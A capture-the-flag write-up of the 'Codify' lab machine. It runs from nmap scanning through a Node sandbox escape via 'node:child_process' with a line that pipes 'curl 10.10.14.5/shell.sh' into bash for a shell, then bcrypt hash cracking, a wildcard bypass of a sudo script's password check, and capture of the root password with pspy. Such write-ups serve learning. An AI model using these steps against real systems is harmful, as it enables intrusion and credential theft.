Codify
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.48.74
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-04 23:06 EDT
Nmap scan report for 10.129.48.74
Host is up (0.016s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Did a detailed scan as well:
$ nmap -p 80,3000 -sC -sV --min-rate 3000 10.129.48.74
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-04 23:07 EDT
Nmap scan report for 10.129.48.74
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb
I added codify.htb
to the /etc/hosts
file.
Web Enum -> Node.js RCE
The web application ran an application to allow for Node.js sandboxing:

There are some 'Limitations' set by the creator, and it includes the following:

So the obvious methods of achieving RCE are not allowed. When I tested it with child_process
, it got blocked:

However, this does not mean that it blocks node:child_process
:


child_process
is an outdated module, whereas node:child_process
is an entirely different module that is more efficient and runs with less overhead.
Using this, I ran this code to get a shell as the user svc
:
const { spawn } = require('node:child_process');
spawn('bash', [ '-c', 'curl 10.10.14.5/shell.sh|bash'],{'detached':true});

Privilege Escalation
Did some basic enumeration of the machine. First I checked out the /var/www/html
folder:
svc@codify:/var/www$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Sep 12 17:40 .
drwxr-xr-x 13 root root 4096 Oct 31 07:57 ..
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 contact
drwxr-xr-x 4 svc svc 4096 Sep 12 17:46 editor
drwxr-xr-x 2 svc svc 4096 Apr 12 2023 html
Viewing RCE Vuln
Took a detour and looked at the JS code that was responsible for the initial RCE:
app.post('/run', (req, res) => {
const code = Buffer.from(req.body.code, 'base64').toString('utf-8');
const vm = new VM({
timeout: 5000,
console: 'redirect',
sandbox: {
console: {
log: (...args) => {
var output_initial = args.map((arg) => String(arg)).join(' ');
output.push(output_initial);
},
},
require: (moduleName) => {
if (['child_process','fs'].includes(moduleName)) {
throw new Error(`Module "${moduleName}" is not allowed`);
}
return require(moduleName);
}
},
});
try {
var output = [];
var output_initial = vm.run(code);
output.push(output_initial);
res.json({ output : output.join('\r\n') })
} catch (error) {
errMsg = error.message.split('\n')[0];
res.json({ error : errMsg });
}
});
There's a check to see what modules are used via checking for require
, and it also explains why node:child_process
was allowed since it only checks for whether child_process
is required.
Tickets -> User Password
Within the /var/www/tickets
directory, there's a tickets.db
file:
svc@codify:/var/www/contact$ ls -la
total 120
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 .
drwxr-xr-x 5 root root 4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$ file tickets.db
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
I transferred this back to my machine via nc
, and then opened it up with sqlite3
:
$ sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open tickets.db
sqlite> .tables
tickets users
sqlite> select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
This hash can be cracked using john
:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:24 DONE (2023-11-04 23:28) 0.04029g/s 55.11p/s 55.11c/s 55.11C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Afterwards, I could su
to the user joshua
.

Sudo Privileges -> Wildcard Bypass
joshua
could run a script as root
:
joshua@codify:/var/www/contact$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Here's the contents of the script:
joshua@codify:/var/www/contact$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!
There's no PATH hijacking since all the commands use the full PATH. pspy64
could allow me to read the root
password since it is directly passed into the mysqldump
command. However, I needed to somehow bypass the if [[$DB_PASS == $USER_PASS]]
check first.
I know that my input is directly passed into it, and it is not sanitised at all, and there was no way for me to read the actual password. The question here is, how do I always force a true condition for a string comparison?
During my testing, I realised I could enter special characters. Using the wildcard *
character, the if
condition is always true, because *
matches all characters and spaces.
As such, in a second shell as joshua
, I ran pspy64
. In my initial shell, I ran the script as root
, and was able to capture the password:
2023/11/05 04:30:49 CMD: UID=1000 PID=2666 | sudo /opt/scripts/mysql-backup.sh
2023/11/05 04:30:49 CMD: UID=0 PID=2667 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 04:30:50 CMD: UID=??? PID=2671 | ???
2023/11/05 04:30:50 CMD: UID=0 PID=2672 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 04:30:50 CMD: UID=0 PID=2674 | /usr/bin/grep -Ev (Database|information_schema|performance_schema)
2023/11/05 04:30:50 CMD: UID=0 PID=2673 | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2023/11/05 04:30:50 CMD: UID=0 PID=2678 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 04:30:50 CMD: UID=0 PID=2677 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
2023/11/05 04:30:51 CMD: UID=0 PID=2681 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 04:30:51 CMD: UID=0 PID=2680 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 04:30:52 CMD: UID=??? PID=2684 | ???
2023/11/05 04:30:52 CMD: UID=0 PID=2685 | /usr/bin/chmod 774 -R /var/backups/mysql
Using this, I could su
to root
:

Rooted! Learnt something new here.
Last updated